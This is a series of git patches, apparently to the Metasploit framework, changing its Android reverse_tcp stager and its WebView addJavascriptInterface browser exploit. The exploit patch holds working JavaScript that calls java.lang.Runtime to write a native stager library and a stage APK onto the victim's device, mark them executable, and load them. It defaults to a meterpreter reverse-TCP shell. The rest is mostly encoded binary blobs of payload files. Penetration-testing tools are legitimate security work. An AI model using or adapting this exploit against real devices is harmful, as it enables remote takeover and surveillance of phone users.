From 255d2c4db91f178a175df6975a8a1dc9e2a01dce Mon Sep 17 00:00:00 2001 From: Tim Date: Wed, 19 Feb 2014 15:06:11 +0000 Subject: [PATCH 01/58] android payload golf --- data/android/apk/res/drawable-mdpi/icon.png | Bin 3079 -> 0 bytes data/android/apk/res/layout/main.xml | Bin 700 -> 0 bytes modules/payloads/stagers/android/reverse_tcp.rb | 2 -- 3 files changed, 2 deletions(-) delete mode 100644 data/android/apk/res/drawable-mdpi/icon.png delete mode 100644 data/android/apk/res/layout/main.xml diff --git a/data/android/apk/res/drawable-mdpi/icon.png b/data/android/apk/res/drawable-mdpi/icon.png deleted file mode 100644 index c2e4f5634b903742c71baa0e2e080aa1ee5e2190..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3079 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 ZRGiiSHLrJh&yw#f@jh!P{3T!B%^%F5jrsrp diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index d41922f40e..174c6c5613 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -41,8 +41,6 @@ module Metasploit3 files = [ [ "AndroidManifest.xml" ], - [ "res", "drawable-mdpi", "icon.png" ], - [ "res", "layout", "main.xml" ], [ "resources.arsc" ] ] From 1e14ec7f6cbbb322249f67d59bb53b83fbb417e4 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 25 Feb 2014 00:13:18 +0000 Subject: [PATCH 02/58] native jni stager --- .../browser/webview_addjavascriptinterface.rb | 34 +++++++++++++------ 1 file changed, 24 insertions(+), 10 deletions(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 40c5461117..344403fd8e 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -58,9 +58,9 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'], ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'] ], - 'Platform' => 'linux', - 'Arch' => ARCH_ARMLE, - 'DefaultOptions' => { 'PrependFork' => true }, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp', }, 'Targets' => [ [ 'Automatic', {} ] ], 'DisclosureDate' => 'Dec 21 2012', 'DefaultTarget' => 0, @@ -86,6 +86,12 @@ class Metasploit3 < Msf::Exploit::Remote send_response_html(cli, html) end + def dalvikstager() + localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libdalvikstager.so') + data = File.read(localfile, {:mode => 'rb'}) + data + end + def js %Q| function exec(obj) { @@ -94,18 +100,26 @@ class Metasploit3 < Msf::Exploit::Remote // get the runtime so we can exec var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null); - var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}"; + var runtime = m.invoke(null, null); + var stageData = "#{Rex::Text.to_hex(payload.raw, '\\\\x')}"; + var libraryData = "#{Rex::Text.to_hex(dalvikstager, '\\\\x')}"; // get the process name, which will give us our data path - var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']); + var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']); var ch, path = '/data/data/'; while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); } - path += '/#{Rex::Text.rand_text_alpha(8)}'; + var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so'; + var stagePath = path + '/stage.apk'; - // build the binary, chmod it, and execute it - m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor(); - m.invoke(null, null).exec(['chmod', '700', path]).waitFor(); - m.invoke(null, null).exec([path]); + // build the library and chmod it + runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor(); + runtime.exec(['chmod', '700', libraryPath]).waitFor(); + + // build the stage, chmod it, and load it + runtime.exec(['/system/bin/sh', '-c', 'echo "'+stageData+'" > '+stagePath]).waitFor(); + runtime.exec(['chmod', '700', stagePath]).waitFor(); + + runtime.load(libraryPath); return true; } From 6616d36d6313ff35739c1f3f71d3d15ae35ba03c Mon Sep 17 00:00:00 2001 From: joe Date: Fri, 7 Mar 2014 13:21:30 -0800 Subject: [PATCH 03/58] New meterpreter bins for testing. --- data/android/apk/AndroidManifest.xml | Bin 3588 -> 3536 bytes data/android/apk/classes.dex | Bin 6844 -> 10700 bytes data/android/apk/resources.arsc | Bin 1104 -> 1088 bytes data/android/meterpreter.jar | Bin 37661 -> 37700 bytes data/android/metstage.jar | Bin 1993 -> 1851 bytes data/android/shell.jar | Bin 1853 -> 1853 bytes data/meterpreter/ext_server_stdapi.jar | Bin 38782 -> 38782 bytes data/meterpreter/meterpreter.jar | Bin 24427 -> 24427 bytes 8 files changed, 0 insertions(+), 0 deletions(-) diff --git a/data/android/apk/AndroidManifest.xml b/data/android/apk/AndroidManifest.xml index 39fa1cea0e34dfb14a1666dbe18fab55ba0fbcbb..6ee7f3e36fed7e9e467fff4db6fd95f5a44848f9 100644 GIT binary patch literal 3536 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 diff --git a/data/android/apk/resources.arsc b/data/android/apk/resources.arsc index 4fe928b45ed5fab291d93e0fdecab81f29535e1f..9175daa84ec0e56982572ea3b65c8ccf7083b71b 100644 GIT binary patch delta 168 zcmcb>ae#xBiGhc~VIr$Ks|5oCL(;@(>xm{>6Q?OL_H5j#%cN++-~kk70%ArW1}RYh zVgy()@uTQu1!f*bhRM3jlEM(>%s_d#@`)dnCpQ2UFi!4;D_}ua@PJtjs+SdA%7H}y E01jaqIRF3v delta 219 zcmX@Wae;%CiGhb9U?QtJs}=(TL(;@d-H9d^6Q?OL&e^zAmr2`#!3QYJ1jLL$Yy-q9 zK#Twj;7pduiY&sD6_`16K`NP;1QW!&d#>baC?lf~BVb@)AVk|)%OLz88!-Y3f~u^RG^e7P9Ji{p znxdR6P>V}d?)eV_g6udib{`KuDpbPdWy4Fc43}-yAbTJzxq^B`v5+yz$Y8Tamwof0 z>(++`HP~|GVN5aLjUbmQs@;SvU170!GL1s`pfFe7(iEN=-O3XXlzC9U6u^6Uqrb(; zR|Ycwb7W;h`^EqFS0>z6Dc!XO&N8OOHTA6Lq0-P%mOE^zP(MTsWps=rOuXH&*AeHu zel-5Cb$ojL_J7ymXy#?<#BJg1$mMA1Vdn1Q;B4!`t@^)rIhD-3%rwk=9h}X+aJ#%7 z<>Kb-V(I2#Yv~U3QXg05RN_!n{j5-~b*9RpJievr#r_9{FOK-l7|EN2$~PRL3h&+u z%k&OICc`T@n#zRv0TXi?9~LHf-!Ak6!r8l6dKw}8gF+$zUG5J}@9SFMG6NdI+3U*Q z^K}||{;%UrBkze06TOP#c51Nsq zpD(`sbCD7goX*x8>`+QSU59A(>!SSb+i%63jd)uFQu;kndVevgvgrV6BAh~7Fa}^+ zu&YEYX-0sa7KM~pi}%;YA@MEq9bR_-nh@9qRLc9tI+v@)`m{z;{>y5K+)v@R1>0Y_ z+Khg;Xl2Aa;qSg5*E>3nByIZ$hNUnWw_`p@lf^u zePgKRWH!Ocm0^HAS6tMuh=XC<3xCr{9Dg=ELG%6e=l}<#MUe6k7AM;02Q})(_=IAU zbUN9&`H>;+ljyC2H0wX&Vk7C6ZM&$x$*LXOqg1)@c>+qh6QUael3L^TsUW>XQIQV2 z63q&wNL;UP9l6i=J;z1P%!{dvKlZDhBD<@2rODY1>KFc@fH!OVz5FtOQ+{PQyeMe$ zR^0~g_oWNpr(t(j5+9!kM+;~xmq^6*l8U{h5T-%r?)j$_zK4&U-c1xgGV1)*&`6`} zL2ZlxANVQs)Ea+r%bb$ta{GoUCeL!@&x!db4f^twcfhNyyed~s?;*?2QoQCJqEg$v 